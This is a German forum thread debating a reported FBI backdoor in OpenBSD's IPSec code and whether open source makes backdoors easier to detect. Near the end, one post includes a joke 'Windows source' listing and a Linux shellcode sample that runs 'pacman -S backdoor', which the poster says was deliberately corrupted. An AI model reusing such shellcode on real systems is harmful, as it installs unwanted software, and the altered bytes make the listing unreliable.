Security FBI-Backdoor in IPSec-Implementierung von OpenBSD?

rat

0
Ich mache es selten und daher mal c&p

Der IPSEC-Stack von OpenBSD enthält möglicherweise mehrere Hintertüren, die im Auftrag der US-Regierung in die Software integriert wurden. Auf Basis der Software entstanden viele weitere freie IPSEC-Implementierungen, so dass die Backdoor ihren Weg in andere Software gefunden haben könnte.


OpenBSD-Gründer Theo de Raadt hat eine E-Mail des Softwareentwicklers Gregory Perry veröffentlicht, in der dieser auf mögliche Hintertüren in der IPSEC-Implementierung von OpenBSD hinweist. Demnach haben einige Entwickler im Auftrag der US-Regierung in den Jahren 2000 und 2001 entsprechende Schwachstellen in den Code eingebaut.

Ob, und wenn ja, in welchem Umfang, Perrys Vorwürfe noch zutreffen, ist derzeit nicht klar. Theo de Raadt weist darauf hin, dass er mit Perry rund zehn Jahre keinen Kontakt hatte. Er wolle zudem nicht Teil einer solchen Verschwörung werden und machte Perrys E-Mail daher öffentlich: Wer immer den entsprechenden Code verwende, habe dadurch die Chance, ihn auf entsprechende Hintertüren zu durchsuchen. Wenn Personen dabei fälschlicherweise beschuldigt worden seien, könnten diese sich zur Wehr setzen, so de Raadt.

Perry war nach eigenen Angaben seinerzeit CTO bei Netsec und arrangierte in diesem Zusammenhang auch Spenden für das OpenBSD Crypto Framework. Zugleich aber habe er auch das FBI im Rahmen des GSA Technical Support Center beraten, ein Projekt für kryptographisches Reverse Engeneering, heißt es in der E-Mail.

Dass er sich jetzt an de Raadt wendet, begründet Perry mit dem Auslaufen seines NDA (Non-Disclosure-Agreement, Verschwiegenheitsvereinbarung) mit dem FBI. Er benennt in seiner E-Mail konkrete Entwickler, die für den Einbau der Backdoors verantwortlich gewesen sein sollen. Er rät dazu, sämtlichen Code der entsprechenden Entwickler und ganz allgemein alle Beiträge seines damaligen Arbeitgebers Netsec genauer zu untersuchen.

Weitere Quellen: http://www.heise.de/security/meldung/FBI-Backdoor-in-IPSec-Implementierung-von-OpenBSD-1153180.html

http://www.golem.de/1012/80129.html
 
Zeigt mal wieder, das Open-Source nicht gleich Sicherheit und Vertraulichkeit bedeutet :)
 
naja ich denke mal, dass unter closed-source so etwas nicht so leicht erkannt werden würde wie unter open-source...
 
Zuletzt bearbeitet:
Da liegst du ein wenig Falsch. Natürlich ist Unix/Linux Angreifbarer geworden, aber bei den OpenSource-Projekten ist es wesentlich leichter solchen Code zu entdecken als bei geschlossenen bzw. geschützten Projekten.
 
Ist nur ein Paradebeispiel, aber dazu gibts ja im Linux-Flame Thread die Diskussionen. Dass man die Backdoor(falls eine solche nun wirklich vorhanden ist) einfach so entdeckt hätte, wage ich auch zu bezweifeln.
 
a liegst du ein wenig Falsch. Natürlich ist Unix/Linux Angreifbarer geworden, aber bei den OpenSource-Projekten ist es wesentlich leichter solchen Code zu entdecken als bei geschlossenen bzw. geschützten Projekten.

Dann guck doch mal in die Codes und zeig sie uns. :rolleyes:
 
?? Ist das ein Witz
Wenn man etwas Ahnung vom programmieren hat und die Quellen durchgeht dann sollte man schon Erkennen können was das Programm tut und welche Aufrufe gemacht werden. Das ist doch nicht so schwer man braucht lediglich Geduld und Zeit. Das Problem ist, dass man danach nicht sucht, wenn man davon nichts weiss:wink:

Ausserdem ist selbst dass nicht nötig, dazu verwendet man einfach ein Netzwerktool wie Wireshark um den Datenverkehr zu Analysieren. Trojaner sollten da schon recht schnell Erkannt werden.

Dann guck doch mal in die Codes und zeig sie uns. :rolleyes:
 
Zuletzt bearbeitet:
Ausserdem ist selbst dass nicht nötig, dazu verwendet man einfach ein Netzwerktool wie Wireshark um den Datenverkehr zu Analysieren. Trojaner sollten da schon recht schnell Erkannt werden
Da muss ich leider widersprechen. Covert Channels heißt hier das Stichwort: http://invisiblethings.org/papers/passive-covert-channels-linux.pdf

Lustigerweise konnte man einen solchen Kanal entdecken, da der verwendete Zufallsgenerator "zufälligere" Werte erzeugte, als der Linuxkernel. Aber das ließ sich natürlich auch schnell wieder fixen ;).
 
@serpent: Wie lange brauchst du etwa um ein paar Hundertausend Zeilen Kernel-Code auf Sicherheitslücken zu prüfen und sämtliche Zusammenhänge des Codes zu verstehen? Will man denn bei jedem Release erstmal einen wochenlangen Code-Freeze machen, nur um ein Code-Review zu machen? Sonst hat man ja das Problem, dass schon beim Review weiterer Code mit potentiellen Lücken einfliesst. So einfach ist das also logistisch in einem großen Projekt wie BSD, Linux u.ä. nicht lösbar. Es gibt in jedem Systemkernel irgendwelchen jahrealten Code, den seit Ewigkeiten niemand mehr angeschaut hat, der aber evtl. mit neu implementierten Features des Kernels irgendwelche Sicherheitsprobleme offenbart. Auch ein Review jedes neu eingebrachten Code-Schnipsels bringt nichts, wie man vor einigen Jahren bei Linux sehen konnte, als sich eine Backdoor auftat, die über Jahre verteilt auf mehrere Patches von einem Entwickler eingebracht wurde. Es ist also keineswegs einfacher solche Lücken zu entdecken, nur weil etwas OpenSource ist. Es ist nur dann einfacher, wenn dediziert mehrere Leute für regelmäßige Code-Reviews verantwortlich sind. Und wer hat schon Lust darauf Tag für Tag fremden Code durchzugehen? Im OSS-Bereich wohl kaum jemand. Die Leute coden schliesslich oft aus Spass an der Sache und nicht damit man ihnen irgendwelche Aufgaben auf's Auge drückt.
 
Also ich sage jetzt mal bei Windows gibt es keinen Backdoor vom FBI da bin ich mir mehr als 100% sicher. Es gibt ja dieses sagenumwogenen USB Stick mit dem sich die Cops Daten vom Pc holen. ööö ja dieser Stick ist keine legende ich habe ihn mit meinen eigenen Augen gesehen.

Was dieser Stick alles kann weiß ich aber nicht genau,es schien aber so als wäre es von gröster wichtigkeit das der Pc an ist. Ich vermute mal der Stick ist sonst vollkommen machtlos also scheint er kein Windows PWs auslesen zu können.

Also wäre es unlogisch einen solchen Stick zu entwerfen wen es einen Backdoor geben würde. Ps ich merke gleich noch mal an zu der Theorie das Truecrypt vom FBI stammen sollte bezweifel ich auch da ich nach meinen Truecrypt Pw (ich wurde damit unterdruck gesetzt wen ich das PW nicht rausgeben würde fällt meine Strafe höher aus) für meine VM gefragt wurde. Somit glaube ich auch nicht das es für Truecrypt ein Master Key oder ähnliches gibt.

Aber Microsoft hat schon einmal vor ein paar Jahren in allen Pcs die gerade Online waren ein Update eingespielt was auch zeigt das sie sich zugang zu den Systemen verschaffen können.

Microsoft spielt heimlich Updates ein
http://www.heise.de/newsticker/meldung/Microsoft-spielt-heimlich-Updates-ein-175014.html
 
Zuletzt bearbeitet:
?? Ist das ein Witz
Wenn man etwas Ahnung vom programmieren hat und die Quellen durchgeht dann sollte man schon Erkennen können was das Programm tut und welche Aufrufe gemacht werden. Das ist doch nicht so schwer man braucht lediglich Geduld und Zeit. Das Problem ist, dass man danach nicht sucht, wenn man davon nichts weiss:wink:

Ausserdem ist selbst dass nicht nötig, dazu verwendet man einfach ein Netzwerktool wie Wireshark um den Datenverkehr zu Analysieren. Trojaner sollten da schon recht schnell Erkannt werden.

1. Wenn jemand Berechtigt ist, Code zu comitten, ein guter C coder ist (was derjenige zweifelsohne war) und von solchen Dingen Ahnung hat, ist es fuer Dritte auch mit Wissen um so eine Backdoor unheimlich schwer so etwas zu finden, selbst wenn sie "etwas Ahnung vom programmieren haben".

2. Nützen Die deine Tools in diesem Fall höchstens etwas, wenn du weisst das ein Angriff statt findet.

Sorry, aber Du hast imho keine Ahnung wovon du da redest.
 
1) zum "wer Ahnung hat, würde sowas sehen"
es ist keineswegs in solcher Form vorhanden:
Code:
void backdoor(bla)...
;)
Viel eher vorstellbar, dass hier ein BoF bzw. ähnliche Dinge genutzt wurden:
irgendwo bei einem switch-case einen Break "vergessen" oder einen selten genutzten Parameter "gesondert" behandeln (usw.)
bei denen es höchstens nach Schlamperei, aber keineswegs nach Absicht ausschaut.

Wenn man nicht gerade selber ähnliche Implementierungen schreibt (und damit gerade in der Materie "drin" ist), fehlt einem einfach das nötige Wissen über die Feinheiten, um sagen zu können: "dieser Codebereich ist aber unnötig/komisch!"

Was uns auch zu 2) führt:
Wer sagt denn bitte, dass die Backdoor nicht schon lange wieder herausgenommen wurde? Wenn man nämlich davon ausgeht, dass sie wie in 1) erwähnt als "unbeabsichtigter" Bug "eingebastelt" wurde, so
wurde sie bei der Weiterentwicklung/Überarbeitung des Codes wohl eher stillschweigend als Code-Fehler erkannt & entfernt.
 
Code:
void Backdoor
da fällt mir der hier ein ;-)

Code:
Windows Source Code 

/* Source Code Windows 2000 */

#include "win31.h"
#include "win95.h"
#include "win98.h"
#include "workst~1.h"
#include "evenmore.h"
#include "oldstuff.h"
#include "billrulz.h"
#include "monopoly.h"
#include "backdoor.h"
#define INSTALL = HARD

char make_prog_look_big(16000000);
void main()
{
  while(!CRASHED)
  {
    display_copyright_message();
    display_bill_rules_message();
    do_nothing_loop();

    if (first_time_installation)
      {
      make_100_megabyte_swapfile();
      do_nothing_loop();
      totally_screw_up_HPFS_file_system();
      search_and_destroy_the_rest_of-OS2();
      make_futile_attempt_to_damage_Linux();
      disable_Netscape();
      disable_RealPlayer();
      disable_Lotus_Products();
      hang_system();
      } //if
    write_something(anything);
    display_copyright_message();
    do_nothing_loop();
    do_some_stuff();

    if (still_not_crashed)
    {
    display_copyright_message();
    do_nothing_loop();
    basically_run_windows_31();
    do_nothing_loop();
    } // if
  } //while

  if (detect_cache())
    disable_cache();

  if (fast_cpu())
    {
    set_wait_states(lots);
    set_mouse(speed,very_slow);
    set_mouse(action,jumpy);
    set_mouse(reaction,sometimes);
    } //if

  /* printf("Welcome to Windows 3.1");    */
  /* printf("Welcome to Windows 3.11");   */
  /* printf("Welcome to Windows 95");     */
  /* printf("Welcome to Windows NT 3.0"); */
  /* printf("Welcome to Windows 98");     */
  /* printf("Welcome to Windows NT 4.0"); */
  printf("Welcome to Windows 2000");

  if (system_ok())
    crash(to_dos_prompt)
  else
    system_memory = open("a:\swp0001.swp",O_CREATE);

  while(something)
    {
    sleep(5);
    get_user_input();
    sleep(5);
    act_on_user_input();
    sleep(5);
    } // while
  create_general_protection_fault();

} // main


That's all, no comments !!!

Also ne das ist dann schon etwas schwerer zu erkennen,ich hoffe ich verstoße nun gegen keine Regel aber ich habe gerade mal den hier auf meinem Pc gefunden um mal zu zeigen wie so ein Backdoor Code aussehen KÖNNTE um das ganze mal zu veranschaulichen.

Aber damit jetzt kein Kiddie ankommt und den Code missbraucht Manipuliere ich ihn mal und es dürfte wider legal sein,wen nicht Code löschen.

Code:
/* 
Title  : Linux i686 - pacman -S <package> (default package: backdoor) - 64 bytes 

Author : Jonathan Salwan 

Pacman is a software package manager, developed as part of the Arch Linux distribution. With this shellcode you can install the backdoor packages. 
  
 ! DataBase of Shellcodes and you can share your shellcodes :
  
  
 Disassembly of section .text: 
  
 08048054 <.text>: 
 8048054:   31 c0                   xor    %eax,%eax 
 8048056:   31 db                   xor    %ebx,%ebx 
 8048058:   31 c9                   xor    %ecx,%ecx 
 804805a:   31 d2                   xor    %edx,%edx 
 804805c:   31 f6                   xor    %esi,%esi 
 804805e:   52                      push   %edx 
 804805f:   68 64 6f 6f 72          push   $0x726f6f64  << This is a package  
 8048064:   68 62 61 63 6b          push   $0x6b636162  << (backdoor). You  can change it. 
 8048069:   89 e6                   mov    %esp,%esi 
 804806b:   52                      push   %edx 
 804806c:   66 68 2d 53             pushw  $0x532d 
 8048070:   89 e1                   mov    %esp,%ecx 
 8048072:   52                      push   %edx 
 8048073:   68 63 6d 61 6e          push   $0x6e616d63 
 8048078:   68 6e 2f 70 61          push   $0x61702f6e 
 804807d:   68 72 2f 62 69          push   $0x69622f72 
 8048082:   68 2f 2f 75 73          push   $0x73752f2f 
 8048087:   89 e3                   mov    %esp,%ebx 
 8048089:   52                      push   %edx 
 804808a:   56                      push   %esi 
 804808b:   51                      push   %ecx 
 804808c:   53                      push   %ebx 
 804808d:   89 e1                   mov    %esp,96ecx 
 804808f:   bo ob                   m0v    $0xb,%al 
 8048091:   99                      cltd    
 8048092:   cd 80                   int    $0x80 
  
  
*/ 
  
  
#include <stdio.h> 
  
int main(void) 
{ 
char shellcode[] =   
  
            "\x31\xc0\x31\xdb\x31\xc9\x31" 
            "\xd2\x31\xf6\x52\x68\x64\x6f" 
            "\x6f\x72\x68\x62\x61\x63\x6b"       
            "\x89\xe6\x52\x66\x68\x2d\x52" 
            "\x89\xe1\x52\x68\x63\x6d\x61" 
            "\x6e\x68\x6e\x2f\x70\x61\x68" 
            "\x72\x2f\x62\x69\x68\x2f\x2f" 
            "\x75\x73\x89\xe3\x52\x56\x51" 
            "\x53\x89\xe1\xb0\x0b\x99\xcd" 
            "\x80"; 
  
        printf("Length: %d\n",strlen(shellcode)); 
    (*(void(*)()) shellcode)();  
  
return 1; 
}

So sind 5 Fehler eingebaut die sogar ein erfahrener Coder nicht so einfach finden dürfte,ich bin aber auch gemein ^^

Habe KÖNNTE mit Absicht so Fett und Rot gemacht.
 
Zuletzt bearbeitet:
1. Wenn jemand Berechtigt ist, Code zu comitten, ein guter C coder ist (was derjenige zweifelsohne war) und von solchen Dingen Ahnung hat, ist es fuer Dritte auch mit Wissen um so eine Backdoor unheimlich schwer so etwas zu finden, selbst wenn sie "etwas Ahnung vom programmieren haben".

Das ist richtig hatte ich ja auch geschrieben. Wenn man mit Leuten zusammenarbeit und sich gut kennt, stellt sich nicht in Frage. Natürlich brauch man Zeit und vieles wird ja auch wenn es bis dato gut funktioniert hat, einfach übernommen.

2. Nützen Die deine Tools in diesem Fall höchstens etwas, wenn du weisst das ein Angriff statt findet.
Auch das habe ich geschrieben:
Zitat: "dass man danach nicht sucht, wenn man davon nichts weiss"

Sorry wenn ich dich beleidigt haben soll, war nicht meine Absicht. Ich bin nicht hier um zu Flamen sondern zum lernen.
 
@Serpent

Hast Du nicht.

Was ich - und andere hier - sagen wollen: Eine solch implementierte Backdoor ist sehr schwer bis gar nicht zu finden. Und dann auch nur mit grösster Anstrengung von wirklichen Profis. Die vielgepriesenen Tools fuer Codeanalysen helfen auch hier nur bedingt, da solcher Code, der Intention nach, ja absolut korrekt funktioniert.
 
Zurück
Oben